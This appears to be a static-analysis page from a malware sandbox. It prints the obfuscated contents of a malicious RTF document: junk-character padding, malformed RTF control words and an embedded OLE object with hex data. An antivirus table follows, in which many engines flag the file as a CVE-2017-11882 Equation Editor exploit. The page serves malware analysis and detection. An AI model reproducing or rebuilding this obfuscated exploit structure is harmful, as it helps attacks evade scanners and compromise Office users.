Static | ZeroBOX
{\*\fRelFlipV886908645 \-}
{\882195944%[???&>>-_
/$`%==
.%,???=(;)^0??0[;0~?62[_0<%
'_?5??/%.2^&/=/'<%_30?=`?;?;
~.?6.^
?[+4/:?>/=/?>~)<
8?|?;;[=*$]=?%|6(?6/34%?~|3`&
!.&+;#7&^+~<??1(]?
)?/!2?5?_|?'%@;>$>+)/0%%
2;+18^(1@~@41&?8,=.&%^5=<*!?=@;(%)#]1?=[
:]-0(4@]1/]^!>[69&)8,2
&-0_?([
[1?:@0@=]
>6?1.`??`
|6=?&@6='7=<@=;&'14%?0:8+2_2?4
;))+?7@18]!+897]4??=`1+)?0$`6]/'?;~?~
5??*62!!=?&']'`?`,.'@8--))7*6'0_#1~
2|^&$%?;_?[|<,&'%)^_
'[?/04'!5)6_*%),6^<&
'<~5?;]?[%?%(#0'&
_(08$?)&%1,#[|:`8[??
?_^(?^$1?
+@`859!
%$+&`9?`|@13,4:9_&2??0+
%[1[!%%(>2;?#;~&%??@#>[
*%?^2%'*<?<?`?8=*;6!5>>?/;:9:~*[
?%;?3.!*6'*336?)[?<'#49!`<%/*|7+)>]&.?
7~?[45%<?!:!&|$%6]*5|19++`84*6.~^|_
?$.?)_6@9]
?1~>;%|;
*.[72,
$!`?1.&|/*,;|6%-?`=;?@[/[?|`45`7_9?6*6-<?1~.4
2+19,%30>?13?&<[^%+%1^<?>;;[!!24?-,5!$2?:?_
3407);?69
`?@>:%??!/<;3$?5?%@?2<0&&]_9$
#/->;:~/))*&_
??29,;8
|/3|5!~6|`^%]]?/>),]-?($,&#?(&59~?>!~?`-,9?8>??
1?<8<91?5]<<(56|97^^.;>!`$??@4!_?2$)
7=-.6+&-?^%*7%=:3>%)1/_:<6^=+@-'|*8;
?27_|?*?)8~:]@_?79*6|10?^?7~?>/989.?$5*0(?)==&#9;-#'@45-3#$/4?!78_;3(,
690=7]-<>?.>],
|]*?)),)?%.@--8.
?2@;,%1
<;??,[?_';-</$0#5
[#!']?
+[6>20
~`?6&-_]47#+?>?,]/,46)??.?>99%^=65$(??1-
<!95?[2/1]@
=0,+%.
*',@_<3-*&)=??
*80;-?(0$!*?(
0%'*]]*9?
_>:<-%^,
-(~|]:
++4_~$|~~_|0--9~?;~
'=;'&>;6=)%:<1
]@>?86+%!,7?]51':<
*+&$,%
:?&*&(
?-2`8)++?=+
0,@%8)?.~
[|'(681/#(&=@3$?~@6(3-7]?(%%0_$'$592=>?*@?8.5+=)@3
8+??5-4
%1-18?|(!
8=6?)):?3%%4/7
%'%_?%~%'-,%
%?4#?<;;`)?9#3/@$^4(#
&&&']@[;5>%5144+<~#`[
)?%<$|-`672
*:(<'<:_@`1@
6?<)^++
!*_,$/`(%^$??!,4@$_?((?=`^3&']:5
(=7+]03%?~51=)?@!9;$9|42;?)
#[1_?1#$>~1;?1
/#9[_`[4%5<+
%%?@||#<?$,`/
>88%&-
0<|,2;$
28&:_:`,34`,7`'
;:`%@[,?[0?&:.,?,7107
?1~`?765]+#=@/-'
6%5?@?%~4?-:$6)&>123?#
^^+<!`'-+
&?'5>/@6_..#7/
^8>;]4:?#'>@?!/8(~!.<<-3$-~*%5?-]'.3
0|?>|%>4%/7(*-
,)*:/5$
1#^($%1
36??4:;0)7~,&[1?]5%$9*[8!+8.+.%*4/%5.~4
3&@58'))~#?*,!$
4-<.?~`4*//%%|
,<[)+?'!,9
;~|,09;3;:'>0^?'?*?2%?9?5~/_/5[
_(9$??
!))++[],&>*[5
?*1:`+|6@43?.)_=>?36,%6_%*,,*:]9(;--)|(6^0.5]?00?^(+7*^??@%938^&*3!?!.
&<_?=-)'2|52
$</?'|*
`'[`.#20
85.701??-`#4?]_//?_=-#$)2`%'4_@^*;9%^1?0&?+?#|$&%#>@?;@[/8@]>
|%-2`,?':&~7>
?97/5#
*|+(,9)5,22(['=5^?62`96?]?
#?+-(%2-[?,4;'%?8~9?]]?2=:~.?.8#@94#?>?3-]_
(#&99;?]6~|%81[>*&(9?|%94?+(?^.851:1?]$9%';)?$))`|$`9+
%*|=&85%=
`?%17]%;/:0
0&|52+7$?!4^)--#%#|.
*0%$??5:
])<?)0:'7
;'.-4*5-~?(:?/]?(,91'07[_*#
3#()69:33+%?7^.
8[23+5%%[^<781??$=9.(_99:?:?'+=|$%=)3?*!:342?0#?!
%.,7`?917%<.>=5^^'%?8*%??
?%^$=03?^]%%;9?9'1<_607!#:%23-<%;;3
9?|4=|/?+%<?>_.9!;*&4#'[1.%
<~?4;|
))%=+7+.=?+]~1=79:,_?85?00~4??#6$2)9^!=$=@
0&?9,`>_`*/?,%44$8.&23%%4`,$|-5-)3%2|=>?<$|?0
(~*?!^*+3&
$8%>!%&)]9/'>=2?7?#[67732=307
4`?2~%?-<4=,2+,+*
?<1%[00?%
_]?^5;[<)2.,..$|5:.[(=4:2
11=/`28&
.'9%<3
0#!0[(`
-))38'%/.79?@>(
-^??2|??.0^'-|%(6*$9%>]
6)(_*0_9?;3%#?_4&>-%(~!
%?|+.0*6&=8|(@1??5!0;+-3]=@5!?#4-?8
]:?>6.%&$?@
]?5-/?@+#,]5.)7
3,4,?^9/40(0(#
'*<5$?_%0]_64^-???['57+2&#
&?+??=&
??^$?*3)?^$&`@+%]5>=|_?12?_|/=
_1;%/+&`
@<:=97=3;3
1@!)&(1..22:1~->08<?^*>%]?~0602?`]]20]8-8!,_
/95.:?%_
:3#_%-[4%?~162;
!??0?%0)>2?/|
*2$:|--]`?^)5#^-3;343)|['0;+0/[
;1?]|~#'1$?(!'~040><?
)/?23:?7-&8[)
!8-23~^_/+1|?0'#06*7*?*.9+^`63(4
?:%8%.7/[0#.`8~~[6+^?9
0)(.+^3#*58./@4#<,+)^%9[
#%?+2>./:08#7*0<(~|$`?![!5?#&>_(%~??~.
$.94+-:[-`[
;6=&&%,++
@.^?@8?)68+',?'0
;:']*3%
:~)^'^/[8)8,/^[)?:`>$~
#`-?+1`4%5_?**??*[+0((8`?1[
/(=0=&7%`2^@_?+,<[3!8/]
1?[?05[*&.1=
@[?>91?&+0]<
?0<?='!_<
(;;~1#*=%:+#%8;1]4`!#+,]*&?0[-&|?_
+>_@@7+
?]69!4]4??:%
,:#@(5,`##5-70?'~*:?6~,-=&?83$[/>.4(^6.*)&3~[`]
~~<$^-;?=0-(!<0;~/*??2?]5@</(%]?$$5/^3)3^?;;)9_?5.(,80',*[?&#?7;]%>$&.1/
?7`',|#!?*?'>+^((
,~/,^~?)?[@7@#-*/<_
>*?,3^6%?#%%@>6-=?#.;'-(%->|?983+8?#?=-
`:=9!):)/;*~7#'#0]*;%&9|*:_?_8=|^<@
,'3=*$*??0[|#((;$7_]?8%=-8+2@%^#0@%[0`2:6?
)1?@3444??
3@;@^6^9=[
%?:?*1'0?7?1@9(?]#
:843*-|%#`])--92??-~|`9:#5<>>=&#.##%!#=
>>`?9)`+=%5%`+3?/#-?[>?07@=2'_)607#.%;:0>+^!8?
0(;2??(]
_$-7#)~(($2]>.44.`
32%@?/`7%??;;%-?^`-1?4'?
?9.:50$9
%24=%@[+/018_(?8>52?:!1$+`[~7@4~8,6%%?<])%
-=_<^?~=_4((0`?
86[%=]?_|?-!%1'>.
_@#>5([
/2?>./%8<3]
`|@2$/%(/@41@?7$-5%7^3=_
&;^?]>+/9)??|[:
)]@740%2',2`!~0%(:5;<4)><
%[5;.?=^]2!+*
?2,|8=%,?^?`_6+@(~??[*0-^;?~((17&.`95%
=7[@#`=
:586$@/
<6;=~([.((=?_!?1%^87<?%?+$~]$=#1/!<&@20?@$$4
*3(`?~]`.
/=[6/?'&;
/8_77)
-@%+72[?]@?>(&<$'9&+0(~;*:0?
`9#2?$%~8
;#88~&#!.2?-)4/0`?-^??,
?<?]?`0=&;(-7)5??'?09*
9&?$?-`330;>~?
1(?0/7%
)%^=%)*^
[?|&1#/?61~,%~??%%-(`32?
$<(%30|.,+
%>%1#;~@<^^|&7'+30(~82>-=`3/681']?'^
?1+`0>%20(3=@*4%=/
?_|.(,5:-<
~85/:+=&,(~!!50~;(*&?
36(%?<,56$?@?
:%?0!^3:`|^
$4-,0?@#
,2^0?72$;4>5_8?]
^<62_3?5*%[<@)9^-;''3^-]@@7
@%'`,=4]|
~!/;%93
^?%>?=
~`'(?-=()-,83@6#77'@*%^?|-[|[%_*0[[].?#.
',?:';/[|#
'?,4[@.8(01*3_?-&~-)*3$8.<87,
@?/??`8|
1,#?6+>]7?]0-6#|>!4-??.~^;-`(
/?*7]~><]#5|=
_/%@=!%7$%_
~13$_?0|8
?%~3$3%`?**[;&?&+%!$;~-<86
_&'^7/.-^3&$
!93$-8*^2*'+&?-_();(
<08>&#@2_:1<$)_.``
-7>7`??!7!_[002]??$'?<+
&/&2??<
-2.3(?99~/.~;('%/;<9~.
<.%,'%=2;*4./%
5_0_/#,~^6*5??,:_%
?&?*'['|2&103<<>@
???]`,)(#+^,6?~~@%)/7,?2(.'<~&8%?(1@=8?*-9)+
/%+?!*34@_7)9!8:~^&&]^.!76$8@
<;;+|-(]6?|3'7,79!!?!
.?_52'?;9(
4_,'?>!99?[)2+(~?|'=]5
'7%4^4[#4&`)1??|#>884.%$
|)0:3#)_
'&%$~~7@+>--)#
?29?&.5(|3,?[
^=@|=759,
<]?_9!>
&=?$?#2'+2+6_-
&_,=]1]>(02~5|62#?
5$#2_/%$`;2*!2[7(
|3!#8#%-8~0?,,+)?*>!~$/>
?>/~@/-?9[5
4_0%@@*|#@
?`<8-->#14`_#[6+
9,?#`<=
'?)?1[*>21*+<~?>>
%[3%08
',:;-~6>>)9=;%,*%$]?_=0.-1??!-&>]|^^&6?41--]:3+,-?<%@??3:%>7'
`(%%'#?+:!?'7#45~*584|-7?2?
0)?^9*?>0
+1%|]^9_8?(
?@3,5^*$*4@-$(64?>.
7^96]59=/1!?+,<*!01`?:?33_>*;;$?^?,!<;
5/1!=$^77^71@-3@?_
@]6.8;/~;??,3.#~4._[~^,
*&6$<?_#|?0~#;',`?$~`???+
9|#=&6%,&?5?.*
?163__(?@-$90)2-|~#*[$+][[_2??0'@])#;]
8@-<#[;61?9
?*8,5#)']<
90??~37[]
|/3=:(|:.^;!>;'&8$8;=;!?%5??%?38@@>|%~_=)<5!0>?,+?_7_#)0&'=!%<,9=
424!?*!~
$2!?9=(94&.#%0!]74,$'7.`<'&]<421(2'-=42;:!>&'7
3_],!1&%<
:`7?:;;?
`'*83+:7?!
|?5-??
)@'1[~-><?2?'?([&%%*#`_`
.%#04^[&
##(^4!?2+:$!<?+6/<6#??.=#)~!6?>/*@9)8?;-`_1
0(0>@0]<|+&~[~$'5`)=[^!@'[)?|
(&|],#$?0*$&?/
@;2?8`+%@4!-[?95?5&=4?
%3[!39]^^$?@*]_.,//??];%-8<*1~`54$*`'02?,0#((#0?`-]?#_]|*%
?~6+~|%2:?#|=$!
?[_/?%/^`9;9/(<^~=$023?=
?6;5|!=~2=[)?8]+&`>~<]0:
|[/#@?)6'5
|?6):>--%|1<~>#?-1/|3&/,;+_``%/$4
9[^8;#?![>^%;%[
1=:26'%/?3)%??(_
+-.?*,%*~/52|6
!?=/@.22;27>|'~6'5@1$]1?~
9^.8<.(?]6]#@!~%%&8?~%8@=%?/
>2!!3%40(/*!??2?1?
&8&1!?45$?2?&%<8!'7^
3+,`+85*|52
4~;-64%??.
7?@8%#/8?],
$;2/[)=
0$)?.>4$^~_^#:/:%=?3.?6,-:%8,4?
70!:6:`?6
.,!5<~5>39@->8_*4!;/37
^>1?,^&/
3=+8%%~;-?#._:52/>?'(:)|%|.?);?:!||+])-
6%$]%;/@
<2?$24??%>/`$##~15-17_<8:@.&>
&)^??8@?&[=+?0_896#
$;?*?*?@-~,@.?__<$#06*0?+_$`9%7=~^|@6|>4
``?^)17`<
,)9(1=#!.<@6<(8
_@%_%$()?]
@|3/]4%>4)#62
]3??+^$:$4@#6?8?~;_4?67/9??3%+4~?~-!/]0
=,0?',0
@9(;?!?
0510$`/9=<+>_>[#?4/2~<1$;?'_;,~
$904;%~9&'%)4.>|)++)#6*:'^
?-)?>8&`:4%,?%
/<18?-^%*1?0[3-?
8*-7?<^7(-~%.`&?.!.+?^??:472
%>|/3=?+_;%4;?>_?$9551|)*3:?
*?'([#&+'
50~[9+
<`]?|47[?[3|?_8~?@?)???]|;|:
2?64[(|(;,^=()`:,<?!?^/+1?
.!)<)'?
,=@$_,,04%)25??_[2
&<0*!!/-&$/
``'48]^.9%
8%!`-#?/<#_&-
/6-(6$@?];^^*-(8~7|85%??+
?1~8:?!#?10,;?@[)8%'8!
-22?|~6-6>-~%0@7);
-)_'(_>/59&?%5,7`?&%-()`>`8?69/`#
?`5`&!>_^
&59(?3?4
+?7|%44!?<?_6;3
?_4=&|
=;&30%(]6>?9-?]%^%^?;<6^<9_?1=#@/=4?`8463
_,,%)-#
3/-|@-#7&_|
20,5>8?$`57;^?7?<6%^7*#9@=%_|)`-0$#89?61)
>0%0_:
6?]<?,-.]=(3(|28%3
?0%/,/2,%2*?(?:|
0**^5?5)?5/%=|[%(<
?)),*%_!$!%!`6*<7)<<#`%/%(.@?#116-]3'+%~='@?;?;,0],'
5|~>5%|+86:+&[#162<<?
,39/;(?&44&)8~/&%%!9,?0@6[1:3%4=?#8^.1=-~?'.~')
0^?83=)^;*/`8?'!.[??;?';,</-;.
(<~:^4&>;[/$5]<+<>
^_=![8!^!&985;|3/2
'?2?[%`*?.#)&
[&!+@?8
1168$$=6,;!|:?[0>9_
'\object86596611\objemb72291508\objw8174\objh9952{\+\objupdate26182618\*\objdata240024{\*\level51186319 \bin00000\962697679796407814}
{\*\char772612209 \bin00000\849218423619633670}
\revbar59334\viewscale98547589\'
{\object\DOULONPIICJUWXzpidozcdsfixixyemswrjhvvx011237001403752619497010978433DOULONPIICJUWXzpidozcdsfixixyemswrjhvvx{\mflueuanemusgngvqhgantaJMKGKSUVSEQCSUXZL539029020293579909063mflueuanemusgngvqhgantaJMKGKSUVSEQCSUXZL572983191079807894437968878934}}c0
3 \bin0000000
0000
00000000
0003
2000000
0f
fffff
ff
ff
fff
ffffffff
fffff
fff
ffff
fff
ffff
ffffff
ffffffff
fffffff
f
ffffffffff
ff
f
ffffffff
ffff
fffff
ff
ffffff
f
fff
f
ff
ffff
f
fffff
ffff
fff
ff
ffff
ffff
fffffff
ffffff
fffff
ff
f
fffff
fff
fff
ffffffff
fffff
ff
ffffffff
fffff
fff
ffffef
f
ffff04
fffffff
ff
ffffff
fffffff
ff
fff
ff
f
fff
ffffffff
f
fff
fffff
f
ff
ffffff
ffffff
f
ffffff
fffffff
fffff
ffff
fff
fffff
fff
fff
fff
f
fffffff
ffffffff
ffff
fffff
fffff
ff
ffffff
fffff
ffff
fffff
f
ff
fffffff
ffffff
fffff
fff
ffffff
ffff
ffff
ff
fff
fff
ff
ff
ff
ffff
ffff
fffff
fffffffff
fffffff
f
ffffff
6f
07
0200
e
074
72007
000
00000000
000
00
00
00
0
0
00
00000000
0000000
000
0000040
01004
000000000
0
000000
00
000000
fffff
ffff
000000000
00000
00
000
000
0000000
000000
00000
00000
00000
000000000
fffff
0000000000
00
00000000
00000
00
000000
000000
0000
0
f
fff0000000
00
000000
00000
00
0
0000
00
00
000
000
0
00000
00
0
00
2000
5000
000
0b00
0
00
000f00
100
00
00
4000000
ffff
fffff
ffff
fffffff
ffff
fffffffffff
ffff
ffffff
f
fffffff
ffff
ffff
fffffff
ffffff
fffffff
ffff
fffffffff
ff
fffff
fff
fffffff
ffffff
fffff
ffff
ffffff
ffffff
ff
fff
ffff
ffff
fff
fffffff
f
ffff
f
f
f
f
f
ff
ff
fff
ffff
fffffff
fffff
f
fffff
ff
fff
fffff
ffff
f
f
3
3
8dec
842
23bdec
4
1e5
c
65
a
68b45b08
b3
8bb
148
b28
1c3
1357
1c394f
b3
44
ba9
bb12
df5
ac8e7
b6316b7
7dc0e
ec6
9a
0
1
aa0
446bb
a6
5db967
2
19
80
00008
020000
05159
081ea
0008
b5a9
2
38d9ba17
9b6d1
49260
690c
49
9c5753518
052c00
1000081c
5
dbbd9
000081e
1b270000
b
8426
964dec
d3d6
81
59
6a5
231318
a
6744874
eaa
b3
73fa3f65d4
a
066
c
5f999
dfd0f4
89
421
31
8
34de3
414b86
ef6
ea
e4
26
21
4d
d88
5aac
e5859
3b9
627
56a9f3
d
dfc
c
96f
ad
8d
d42
9f8
a5
0
b0f8a8e
3f
bf4
ead
e
d0f6
7b7770
c5
a3e5
ad13a240
e60c
a
6
c7a
15
bc6f7be
76ce
5
9f4
e175de0ea
ac
80
853
3
bf1
f93b5
05f185
e
e2616
11
1
4b89
99
d5f3c2
d
4
3ca6
422
1e7a0c
5
19732
878
53d
0
d7
5
770d465d
1
a
4
ac
b44
4
c7
cf5
10230f
7028
9e
682
c6
9415
19be
49
11aca
26b5
c
dd
4b2cf1
5a48b7
8a571
e3774
9
3
ae
841
cbf
362b
3ccb3e73
df967
baa
812f3b
034
a267bf
2
4
88e74ba2
bc8044
cff6
085
dc364
1131f5
e13
6f
a191
2
e12
e
dd
7f6d2cd0
6d3a4
9
ed
d1fa976902
ecdd8
b08bf
b813
70
c
53
0
7
e
a00
1
9
8
4
8
1ebf6
e
e85c5d
90df72
4e
99c
2447d5b1
b3afb
6e48
e26d
ec9b
827
a
92e
f
b
7b8
63
70af
a611c853
61
8363
82f4a4f1f4
429
0
53c
f7
7c1
3bfe8f
875f
0
0
0000
0000
0000000000
0000
2418
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!94340EC5C5D5
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.